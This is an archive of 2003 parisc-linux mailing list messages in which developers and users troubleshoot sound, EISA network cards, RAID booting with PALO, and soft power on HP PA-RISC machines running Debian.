X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18143

> I ham enjoying a C3000 (400MHz) machine running hppa Debian, with kernel
> 2.4.20-32.
> Everything is working except the sound.  Sound server can start up, but
> does not have a device to output to.  

did you load the ad1889 module (or build it into your kernel?) I'm not
sure it's enabled by default... it also doesn't work 100% of the time...
but if the module loads, you should see a message in your bootup log
that identifies the device.

the ad1889 driver is on my todo list of things to fix.... too much to
do, too little time to hack :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sorry about the CVS email battering.
Date: Tue, 1 Apr 2003 15:12:57 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20030401201257.GV26078@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622351 24050 80.91.229.3 (22 Nov 2014 02:12:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 13:12:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BBC04829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 13:12:32 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 190S7u-0008Ot-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 01 Apr 2003 15:12:58 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (35% Sync Ratio [====......])
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18144

PA'ers,

For those of you on cvs.parisc-linux.org I would like to apologize for
the current email deluge. I'm importing glibc into CVS, and what we
believed to be a method that didn't email-spam  wasn't quite so.

The upside is that I'm going to give Willy's CVS procedures a try, and 
I'll be working on having glibc sources up to date on a weekly basis.

Cheers,
Carlos.


From - Thu Nov 08 21:27:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ricardo Jose Guevara Ochoa" <jguevara@unitec.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] network card
Date: Tue, 01 Apr 2003 16:03:38 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <36d3af5ee545d6d.e545d6d36d3af5e@unitec.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622351 24053 80.91.229.3 (22 Nov 2014 02:12:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 15:13:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.unitec.edu (mail.unitec.edu [216.72.84.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F5AA4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 15:13:19 -0700 (MST)
Original-Received: from unitec.edu ([127.0.0.1]) by mail.unitec.edu
          (Netscape Messaging Server 4.15) with ESMTP id HCOQM200.FFC for
          <parisc-linux@lists.parisc-linux.org>; Tue, 1 Apr 2003 16:03:38 -0600 
X-Mailer: Netscape Webmail
Content-Language: en
X-Accept-Language: en
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18145

I got a HP 9000 D-Class D270 running Debian 3.0r1 with linux version 
2.4.17-32, and the instalation detected one of two network cards thats 
comes with the server. It detected the lan card that is integrated to 
the server, but i need to use the both cards. The one it did not 
detect is an eisa lan card, HP A4308-66001. Can someone help, o can i 
put a isa card to this server.

Thanks,
Rich



From - Thu Nov 08 21:27:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] network card
Date: Tue, 1 Apr 2003 23:16:16 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20030401221616.GG29376@parcelfarce.linux.theplanet.co.uk>
References: <36d3af5ee545d6d.e545d6d36d3af5e@unitec.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622352 24056 80.91.229.3 (22 Nov 2014 02:12:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ricardo Jose Guevara Ochoa <jguevara@unitec.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 15:16:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5C474829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 15:16:20 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 190U3E-0004xV-PE; Tue, 01 Apr 2003 23:16:16 +0100
Content-Disposition: inline
In-Reply-To: <36d3af5ee545d6d.e545d6d36d3af5e@unitec.edu>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18146

On Tue, Apr 01, 2003 at 04:03:38PM -0600, Ricardo Jose Guevara Ochoa wrote:
> I got a HP 9000 D-Class D270 running Debian 3.0r1 with linux version 
> 2.4.17-32, and the instalation detected one of two network cards thats 
> comes with the server. It detected the lan card that is integrated to 
> the server, but i need to use the both cards. The one it did not 
> detect is an eisa lan card, HP A4308-66001. Can someone help, o can i 
> put a isa card to this server.

I suggest you update your kernel to at least 2.4.19, and I think 2.4.20
would be a wiser choice.  IIRC we didn't support the ISA or EISA slots at
all in 2.4.17.  This doesn't guarantee the card will work, but it might
do.  I had a 100VG card working in a 715 when I was doing EISA initially.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Jantzen <chris-parisc@maybe.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] network card
Date: Tue, 1 Apr 2003 18:00:04 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <20030402020004.GG31656@maybe.net>
References: <36d3af5ee545d6d.e545d6d36d3af5e@unitec.edu> <20030401221616.GG29376@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622352 24061 80.91.229.3 (22 Nov 2014 02:12:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:32 +0000 (UTC)
Cc: Ricardo Jose Guevara Ochoa <jguevara@unitec.edu>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 19:00:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.maybe.net (12-231-234-80.client.attbi.com [12.231.234.80])
	by dsl2.external.hp.com (Postfix) with SMTP id 4BD4A4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 19:00:05 -0700 (MST)
Original-Received: (qmail 974 invoked by uid 1000); 2 Apr 2003 02:00:04 -0000
Content-Disposition: inline
In-Reply-To: <20030401221616.GG29376@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18147

On Tue, Apr 01, 2003 at 11:16:16PM +0100, Matthew Wilcox wrote:
> On Tue, Apr 01, 2003 at 04:03:38PM -0600, Ricardo Jose Guevara Ochoa wrote:
> > I got a HP 9000 D-Class D270 running Debian 3.0r1 with linux version 
> > 2.4.17-32, and the instalation detected one of two network cards thats 
> > comes with the server. It detected the lan card that is integrated to 
> > the server, but i need to use the both cards. The one it did not 
> > detect is an eisa lan card, HP A4308-66001. Can someone help, o can i 
> > put a isa card to this server.
> 
> I suggest you update your kernel to at least 2.4.19, and I think 2.4.20
> would be a wiser choice.  IIRC we didn't support the ISA or EISA slots at
> all in 2.4.17.  This doesn't guarantee the card will work, but it might
> do.  I had a 100VG card working in a 715 when I was doing EISA initially.

AFAIK EISA DMA is still unsupported, though strides have been made in
the overall architecture to support non-PCI DMA in Linux more elegantly.

-- 
chris jantzen kb7rnl =->         __O
Insert witty comment here.     _`\<,_
http://www.maybe.net/         (*)/ (*)


From - Thu Nov 08 21:27:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound on C3000
Date: Tue, 1 Apr 2003 22:19:38 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20030402051938.GA24936@dsl2.external.hp.com>
References: <25C4C6009B5BD5118FF30003470BF7F503501C63@xboi04.boi.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622352 24063 80.91.229.3 (22 Nov 2014 02:12:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:32 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "FUHRMAN,SCOTT (HP-Boise,ex1)" <scott.fuhrman@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 22:19:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 334F94829; Tue,  1 Apr 2003 22:19:38 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <25C4C6009B5BD5118FF30003470BF7F503501C63@xboi04.boi.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18148

On Tue, Apr 01, 2003 at 01:42:40PM -0500, FUHRMAN,SCOTT (HP-Boise,ex1) wrote:
> I ham enjoying a C3000 (400MHz) machine running hppa Debian, with kernel
> 2.4.20-32.
> Everything is working except the sound.  Sound server can start up, but
> does not have a device to output to.  

As randolph pointed out, you need to "modprobe ad1889".
If that doesn't work, apt-get the kernel source and rebuild
with ad1889 if you are determined to have a go at it.

ad1889 driver "works" if you use a very low standard to define "working".
ad1889 only takes .wav format input at 48Khz. I forget the command
line for mpg321 to directed mpg321 to spew .wav format directly
at the /dev/audio device. And when playing mp3s, I wouldn't stress
the machine with other workloads while it's running.

grant


From - Thu Nov 08 21:27:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RAID issues on my C3000
Date: Tue, 1 Apr 2003 22:13:10 -0800 (PST)
Lines: 26
Approved: news@gmane.org
Message-ID: <20030402061310.20117.qmail@web12506.mail.yahoo.com>
References: <25C4C6009B5BD5118FF30003470BF7F503501C63@xboi04.boi.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1458837042-1049263990=:18068"
X-Trace: ger.gmane.org 1416622353 24066 80.91.229.3 (22 Nov 2014 02:12:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 23:13:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12506.mail.yahoo.com (web12506.mail.yahoo.com [216.136.173.198])
	by dsl2.external.hp.com (Postfix) with SMTP id 7D41E4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 23:13:11 -0700 (MST)
Original-Received: from [12.24.253.152] by web12506.mail.yahoo.com via HTTP; Tue, 01 Apr 2003 22:13:10 PST
In-Reply-To: <25C4C6009B5BD5118FF30003470BF7F503501C63@xboi04.boi.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18149

--0-1458837042-1049263990=:18068
Content-Type: text/plain; charset=us-ascii


Hey all,
I was just following the RAID HOWTO posted awile back and I ran into a few problems.  I've gotten all the way through creating my RAID partitions and copying the data over via tar, making it bootable (after upgrading my PALO from source - it is now 1.2), editing all the files on the new md devices, and then rebooting.  When I try to boot from the new degraded RAID disk I get that the device is hard booted (with PALO 1.0 not 1.2), displays my patition info (but displays the partitions as "unknown" and not RAID probably due to the Palo 1.0 version), and spits out "Selected kernal: /vmlinux from partition 2" then "Error: Partition 2 must be ext2".  I've created 4 primary partitions on the drive in the following order PALO, boot, swap, and root.  Both Palo and boot are with the first 2GB.  I h
 ave tried to stop the arrays and reconfigure them as ext2 with no luck.  Any help would be appreciated.
Thanks,
derek



---------------------------------
Do you Yahoo!?
Yahoo! Tax Center - File online, calculators, forms, and more
--0-1458837042-1049263990=:18068
Content-Type: text/html; charset=us-ascii

<P>Hey all,
<P>I was just following the RAID HOWTO posted awile back and I ran into a few problems.&nbsp; I've gotten all the way through creating my RAID partitions and copying the data over via tar, making it bootable (after upgrading my PALO from source - it is now 1.2), editing all the files on the new md devices, and then rebooting.&nbsp; When I try to boot from the new degraded RAID disk I get that the device is hard booted (with PALO 1.0 not 1.2), displays my patition info (but displays the partitions as "unknown" and not RAID probably due to the Palo 1.0 version), and spits out "Selected kernal: /vmlinux from partition 2" then "Error: Partition 2 must be ext2".&nbsp; I've created 4 primary partitions on the drive in the following order PALO, boot, swap, and root.&nbsp; Both Palo and boot are w
 ith the first 2GB.&nbsp; I have tried to stop the arrays and reconfigure them as ext2 with no luck.&nbsp; Any help would be appreciated.
<P>Thanks,
<P>derek</P><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://us.rd.yahoo.com/finance/mailsig/*http://tax.yahoo.com">Yahoo! Tax Center</a> - File online, calculators, forms, and more
--0-1458837042-1049263990=:18068--


From - Thu Nov 08 21:27:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] RAID issues on my C3000
Date: Wed, 2 Apr 2003 09:53:18 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <3E842746000028D3@ocpmta2.freegates.net>
References: <20030402061310.20117.qmail@web12506.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622353 24072 80.91.229.3 (22 Nov 2014 02:12:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:33 +0000 (UTC)
To: "Derek Engelhaupt" <derekengelhaupt@rocketmail.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  2 00:53:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E3F44829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Apr 2003 00:53:23 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 190d3h-0002Yd-01; Wed, 02 Apr 2003 09:53:21 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 2 Apr 2003 09:53:18 +0200
In-Reply-To: <20030402061310.20117.qmail@web12506.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18150

>
>Hey all,
>I was just following the RAID HOWTO posted awile back and I ran into a few
>problems.

I do also for at least 3 of my b180 and it works fine :)


>  I've gotten all the way through creating my RAID partitions and
>copying the data over via tar, making it bootable (after upgrading my PALO
>from source - it is now 1.2), editing all the files on the new md devices,
>and then rebooting.  When I try to boot from the new degraded RAID disk
I
>get that the device is hard booted (with PALO 1.0 not 1.2), displays my
patition
>info (but displays the partitions as "unknown" and not RAID probably due
>to the Palo 1.0 version), and spits out "Selected kernal: /vmlinux from
partition
>2" then "Error: Partition 2 must be ext2".

This is typicaly the message from palo < 1.2 (I also encounter this same
message before figuring out that I forget to update palo on my actual root
disk).
So on your non-raid disk install the last palo dpkg (1.2) (I do it without
pb on a woody pre-libc 2.3.0).
[check the version with palo -? | grep version (must be now 1.2)]
relaunch:
# palo -f YourPathToNew/palo.conf -I YourRaidDIsk

It works for me and hope for you too.

Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] soft power and power light on 712/60
Date: Wed, 2 Apr 2003 10:32:40 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <3E8427460000296D@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622353 24074 80.91.229.3 (22 Nov 2014 02:12:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:33 +0000 (UTC)
To: "Derek Ellis" <Derek.Ellis@us.fortis.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  2 01:32:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id A41CB4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Apr 2003 01:32:46 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 190dfm-0000J3-00; Wed, 02 Apr 2003 10:32:42 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 2 Apr 2003 10:32:40 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18151

>
>I have had no heat problems.  The IBM drive is a 68-pin SE drive from '98.
> It runs very cool and never gets too hot to touch.

Well, that is nice 4u.

>  I  put it internally
>since that was easier than finding an unused external enclosure.
>
I well understand.
>Did the soft power & light work with the external enclosure?
>

Sorry, could not help you right now: my only linux boot disk (a Seagate)
is running a 64bits N (and it spend long time to reboot) and the rest are
only data disk used on hpux :(.

The very last stuff I foreseen that you could check is the symbios driver
compile into your kernel.
I personaly use the rev2 one (the only way I know to check this is by looking
into your kernel config file which stand normaly into your /boot dir).

hope this will help you anyway,
    Joel



---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] soft power and power light on 712/60
Date: Wed, 2 Apr 2003 10:35:56 +0200
Lines: 131
Approved: news@gmane.org
Message-ID: <03Apr2.105446cest.119062@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C2F8F2.E11ACFC0"
X-Trace: ger.gmane.org 1416622354 24076 80.91.229.3 (22 Nov 2014 02:12:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:34 +0000 (UTC)
To: "'Joel Soete'" <jsoe0708@tiscali.be>,
	Derek Ellis <Derek.Ellis@us.fortis.com>,
